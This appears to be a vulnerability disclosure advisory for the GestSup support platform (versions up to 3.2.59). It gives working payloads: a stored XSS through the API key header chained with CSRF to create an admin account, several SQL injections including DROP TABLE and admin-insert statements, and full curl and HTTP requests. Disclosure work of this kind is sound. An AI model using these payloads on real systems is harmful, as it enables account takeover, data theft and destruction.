Multiple vulnerabilities in GestSup support platform (GestSup ≤ 3.2.59)

Description

The application does not verify the authenticity of requests made by the client. This could allow an attacker to chain this vulnerability with a client-side code injection in order to impersonate the victim user's rights and make them perform actions without their knowledge.

NOTE : In the following example, code injection will be taken from Pre-auth Stored XSS in API_error logs vulnerability. As a reminder, this vulnerability allows JavaScript code to be injected via HTML tag injection by providing an incorrect API key.

As mentioned earlier, client-side code injection can be turned into CSRF. In fact, no CSRF token is present on the page. The goal is to inject JavaScript code to perform a request to create an administrator account on the application. The JavaScript code will be as follows:

fetch('/index.php?page=admin&subpage=user&action=add', {
    method: 'POST', 
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, 
    body: new URLSearchParams({
        firstname:'',
        lastname:'',
        login:'admin2',
        password:'pass',
        password2:'pass',
        mail:'',
        phone:'',
        mobile:'',
        fax:'',
        service:'',
        function:'',
        company:'',
        address1:'',
        address2:'',
        city:'',
        zip:'',
        custom1:'',
        custom2:'',
        skin:'',
        profile:'4',
        chgpwd:'0',
        add_btn2:'add' 
    }), 
    redirect: 'manual'
})
.then(response => {})
.catch(error => console.error('Erreur:', error));

NOTE : Here, fetch is used so as to avoid the redirection in the response to this request. In this way, the request is performed in the background and is invisible at first glance.

Here, an admin2:pass account is created. Operation can be performed via curl using the following command.

curl -H "X-API-KEY: BadAPIKey<script>fetch('/index.php?page=admin&subpage=user&action=add', {method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ firstname:'',lastname:'',login:'admin2',password:'pass',password2:'pass',mail:'',phone:'',mobile:'',fax:'',service:'',function:'',company:'',address1:'',address2:'',city:'',zip:'',custom1:'',custom2:'',skin:'',profile:'4',chgpwd:'0',add_btn2:'add' }), redirect: 'manual'}).then(response => {}).catch(error => console.error('Erreur:', error));</script>" -XGET "http://172.20.0.3/api/v1/ticket.php?user_id=1&order="

When an administrator visits the logs page, it is possible to see that the code is interpreted correctly and that a request is made by the browser.

When inspecting the user page, the admin2 user is indeed created with adminitrator rights.

Impact

The presence of a Cross-Site Request Forgery (CSRF) vulnerability allows an attacker to trick an authenticated user into performing unintended actions on the application without their knowledge or consent. An attacker could perform critical actions with the victim's privileges, including but not limited to the creation of administrative accounts, the deletion or modification of tickets within the ticketing system, and other sensitive operations. If exploited against a privileged user (e.g., an administrator or support staff), this vulnerability could lead to a full compromise of the application's integrity and access controls.

Such abuse could cause loss of data integrity, unauthorized privilege escalation, disruption of ticket management processes, and potential unauthorized access to sensitive information.

Remediation

Upgrade Gestsup to the latest version.

Description

An SQL injection is present in the application's ticket search bar. The query is built into the core/searchengine_ticket.php file. It will depend on the number of keywords in the search.

NOTE : For the vulnerability to work, at least one ticket must have been created.

Here, the vulnerable case is when the search has only one word, so spaces should be avoided in the injection. In the following example, spaces are replaced by the /**/ comment trick.

OR(select/**/IF(1=1,sleep(1),1)));--\

The generated and executed query is as follows:

SELECT SQL_CALC_FOUND_ROWS 
        DISTINCT 
        tincidents.id,
        tincidents.type,
        tincidents.technician,
        tincidents.t_group,
        tincidents.title,
        tincidents.user,
        tincidents.u_group,
        tincidents.u_service,
        tincidents.u_agency,
        tincidents.sender_service,
        tincidents.date_create,
        tincidents.date_hope,
        tincidents.date_res,
        tincidents.date_modif,
        tincidents.time,
        tincidents.state,
        tincidents.priority,
        tincidents.criticality,
        tincidents.category,
        tincidents.subcat,
        tincidents.techread,
        tincidents.place,
        tincidents.asset_id

        FROM tincidents
    LEFT JOIN tusers ON tincidents.user=tusers.id
    LEFT JOIN tstates ON tincidents.state=tstates.id
    LEFT JOIN tthreads ON tincidents.id=tthreads.ticket
    LEFT JOIN tsubcat ON tincidents.subcat=tsubcat.id
    LEFT JOIN tcategory ON tincidents.category=tcategory.id
    LEFT JOIN tassets ON tincidents.asset_id=tassets.id

        WHERE 
    (
        tincidents.title LIKE '%OR(select/**/IF(1=1,sleep(1),1)));--\%' OR 
        tincidents.description LIKE '%OR(select/**/IF(1=1,sleep(1),1)));--\%' OR 
        tthreads.text LIKE '%OR(select/**/IF(1=1,sleep(1),1)));--\%' OR
        tsubcat.name LIKE 'OR(select/**/IF(1=1,sleep(1),1)));--\' OR
        tassets.netbios LIKE 'OR(select/**/IF(1=1,sleep(1),1)));--\' OR
        tcategory.name LIKE 'OR(select/**/IF(1=1,sleep(1),1)));--\' OR
        tincidents.id = 'OR(select/**/IF(1=1,sleep(1),1)));--\' OR
        tincidents.user IN (SELECT id FROM tusers WHERE (firstname LIKE '%OR(select/**/IF(1=1,sleep(1),1)));--\%' OR lastname LIKE '%OR(select/**/IF(1=1,sleep(1),1)));--\%') AND disable=0) OR 
        tincidents.user IN (SELECT id FROM tusers WHERE (phone LIKE '%OR(select/**/IF(1=1,sleep(1),1)));--\%' OR mobile LIKE '%OR(select/**/IF(1=1,sleep(1),1)));--\%') AND disable=0)
    ) AND (
        tincidents.user LIKE '%'
        AND tincidents.disable='0'
        AND tincidents.u_group LIKE '%'
        AND tincidents.technician LIKE ''
        AND tincidents.t_group LIKE '%'
        AND tincidents.techread LIKE '%'
        AND tincidents.category LIKE '%'
        AND tincidents.subcat LIKE '%'
        AND tincidents.id LIKE '%'
        AND tincidents.user LIKE '%'
        AND tincidents.date_hope LIKE '%'
        AND tincidents.priority LIKE '%'
        AND tincidents.criticality LIKE '%'
        AND tincidents.type LIKE '%'
        AND tincidents.title LIKE '%'
    )   
AND tincidents.disable='0'
ORDER BY tincidents.priority DESC
LIMIT 0,10

As can be seen, the injection is present several times in the query. Here, although the request is not entirely valid, the part we're interested in is executed and will depend on the condition present in the IF instruction. The server's response time varies according to this condition:

Based on the response time, it is then possible to extract information from the database. However, other actions are possible:

• Remove table: OR/**/1=1);DROP/**/TABLE/**/to_delete;--\
• Add user:

OR/**/1=1);INSERT/**/INTO/**/tusers/**/(`firstname`,`lastname`,`password`,`mail`,`phone`,`mobile`,`fax`,`company`,`address1`,`address2`,`zip`,`city`,`custom1`,`custom2`,`profile`,`login`,`chgpwd`,`last_pwd_chg`,`skin`,`function`,`planning_color`,`salt`,`disable`,`last_login`,`auth_attempt`,`ip`,`default_ticket_state`,`dashboard_ticket_order`,`limit_ticket_number`,`limit_ticket_days`,`limit_ticket_date_start`,`ldap_guid`,`ldap_sid`,`azure_ad_id`,`azure_ad_tenant_id`)/**/VALUES/**/(CHAR(0),CHAR(0),0x243279243132247a6f574563636c49706a4e6e414a4930356b594c6a754543616b34346e5772662e4c42545a7a564c6a6e4638426c72436c45513165,CHAR(0),CHAR(0),CHAR(0),CHAR(0),CHAR(0),CHAR(0),CHAR(0),CHAR(0),CHAR(0),CHAR(0),CHAR(0),4,0x61646d696e32,CHAR(0),0x303030302d30302d3030,0x736b696e2d34,CHAR(0),CHAR(0),CHAR(0),0,0x303030302d30302d3030,CHAR(0),CHAR(0),0x616c6c,CHAR(0),0,0,0x303030302d30302d3030,CHAR(0),CHAR(0),CHAR(0),CHAR(0));--\

Impact

By exploiting this SQL injection, an attacker can interact directly with the underlying database beyond the intended application logic.

As a result, an attacker may retrieve sensitive information stored in the database, including user credentials, personal data, ticket content, and other confidential application data. In addition, the attacker could modify or insert arbitrary records, such as creating new user accounts with elevated or administrative privileges, altering existing user roles, or manipulating ticketing data.

In more severe scenarios, this vulnerability could allow the attacker to delete records, drop entire tables, or otherwise compromise the availability and integrity of the database. Such actions could lead to permanent data loss, service disruption, and a complete breakdown of trust in the ticketing system.

Remediation

Upgrade Gestsup to the latest version.

Description

An SQL injection was detected in the ticket creation code. When a ticket is created, a query is performed such as: /index.php?page=ticket&action=new&userid=[USERID]&state=1&view=&date_start=&date_end= .

The following screenshot corresponds to the ticket creation code. A variable named $where_service is concatenated to a query stored in the variable $query2 . If the POST parameter u_service is not empty when the ticket is created, its value will be copied into $where_service and therefore into the query.

However, there are several prerequisites for the code execution flow to reach this portion. The user_limit_service parameter (users see only their service tickets) must be defined on the server, and the user performing this operation must have the dashboard_service_only privilege (displays only tickets from the service(s) to which the user is attached).

The injection therefore occurs in the POST parameter u_service . It is possible to prove the presence of the vulnerability via an attack based on the server response time:

• -1 OR IF(1=1,sleep(0.2),0) -- : the if condition is true, so the sleep function is called, making the server's response time longer.
• -1 OR IF(1=2,sleep(0.2),0) -- : the if condition is false, execution proceeds normally and the server response time is shorter.

The query becomes:

Impact

By exploiting this SQL injection and as long as the user have the right settings and permissions, an attacker may retrieve sensitive information stored in the database, including user credentials, personal data, ticket content, and other confidential application data. In addition, the attacker could modify or insert arbitrary records, such as creating new user accounts with elevated or administrative privileges, altering existing user roles, or manipulating ticketing data.

In more severe scenarios, this vulnerability could allow the attacker to delete records, drop entire tables, or otherwise compromise the availability and integrity of the database. Such actions could lead to permanent data loss, service disruption, and a complete breakdown of trust in the ticketing system.

Remediation

Upgrade Gestsup to the latest version.

Description

It has been found that many SQL WHERE clauses are constructed by concatenating several POST parameters. Some of theem are filtered via the following functions: str_replace("'","",strip_tags($db->quote($_POST['<PARAM_NAME>']))); . However, this is not the case for all parameters used to construct the WHERE .

The goal is to be able to build an SQL query without using quotes, as these are escaped. The trick is to inject a backslash into a parameter in order to escape the next quote, and to inject the payload into the parameter that follows in the SQL query. In this case, the two parameters state and department are ideal for this type of injection. The POST request can be made with the following values:

state=\
department= OR (SELECT SLEEP(10))-- -

The query will therefore look like this:

SELECT COUNT(DISTINCT tassets.id) FROM tassets 
    LEFT JOIN tassets_state ON tassets.state=tassets_state.id
    LEFT JOIN tusers ON tassets.user=tusers.id
    LEFT JOIN tassets_iface ON tassets.id=tassets_iface.asset_id
     WHERE tassets.disable='0' AND tassets.user LIKE '1'AND tassets.state LIKE '\'AND tassets.department LIKE ' OR (SELECT SLEEP(10))-- -' AND (tassets_iface.ip LIKE '%%%' OR tassets_iface.ip is null) AND (tassets_iface.netbios LIKE '%%%' OR tassets.netbios LIKE '%%%' ) AND (tassets_iface.disable=0 OR tassets_iface.disable=1 OR tassets_iface.disable is null)

Part of the query code is included in the LIKE clause of the tassets.state argument due to the escape of the quote. The following quote is used to open the LIKE clause of the tassets.department argument. The injection into the department HTTP parameter is therefore executed directly.

GET /index.php?page=asset_list&sn_internal=%25&ip=%25&netbios=%25&user=%25&type=%25&model=%25&description=%25&department=%20OR%20(SELECT%20SLEEP(5))--%20-&location=%25&tenant=%25&virtual=%25&date_stock=%25&date_end_warranty=%25&state=%5c&warranty=&assetkeywords=&warranty_time=0&warranty_type=under_warranty HTTP/1.1

If the time is so long, it's because the payload is present in different SQL queries and therefore executed in different places in the code.

Impact

The presence of a SQL Injection vulnerability within asset management functionalities allows an attacker with legitimate asset management privileges to inject malicious SQL statements into backend database queries. An attacker could extract sensitive data stored in the database, including user account details, ticketing information, asset records, and other confidential or internal application data that should not be accessible through standard asset management features. This unauthorized disclosure could expose personal data, operational details, or internal system information.

Remediation

Upgrade Gestsup to the latest version.

Description

When the API is enabled, a client can make requests from an authorized IP address to perform actions on the application without going through the interface. To add a layer of security, the application requires an API key in the X-API-KEY HTTP header. However, if the client specifies an invalid key, the application will generate a log in the administration interface ( Administration > Logs > API_error ) of the form: Wrong API Key (<CLIENT INPUT>) .

curl -H "Cookie: <COOKIE>" -H "X-API-KEY: <s>test" -XGET "http://172.20.0.3/gestsup/api/v1/ticket.php?user_id=1&order="

When HTML code is injected, it is interpreted. It is therefore possible to execute JavaScript code and obtain an XSS stored in the application. Here, the following payload is injected into the page using the method described above.

<img src=x onerror=alert('AKAILABS')>

Impact

The presence of a Stored Cross-Site Scripting (XSS) vulnerability allows an attacker to inject malicious JavaScript code into the application, which is then persistently stored and automatically executed in the browsers of other users who view the API error logs page. Because the payload is stored server-side, this vulnerability can impact multiple users, including privileged accounts, without requiring further interaction from the attacker.

By exploiting this vulnerability, an attacker could steal session cookies and potentially leading to session hijacking and unauthorized access to user accounts. Additionally, the attacker could perform arbitrary actions on behalf of the victim within the application context, manipulate displayed content, or redirect users to malicious external websites.

When combined with a Cross-Site Request Forgery (CSRF) vulnerability, the impact is significantly amplified. The injected JavaScript could automatically trigger forged requests using the victim's authenticated session, enabling the attacker to perform sensitive state-changing actions such as creating administrative accounts, deleting or altering tickets, or modifying application settings. This attack chain could be executed silently and at scale, resulting in a complete compromise of application integrity and access control.

Remediation

Upgrade Gestsup to the latest version.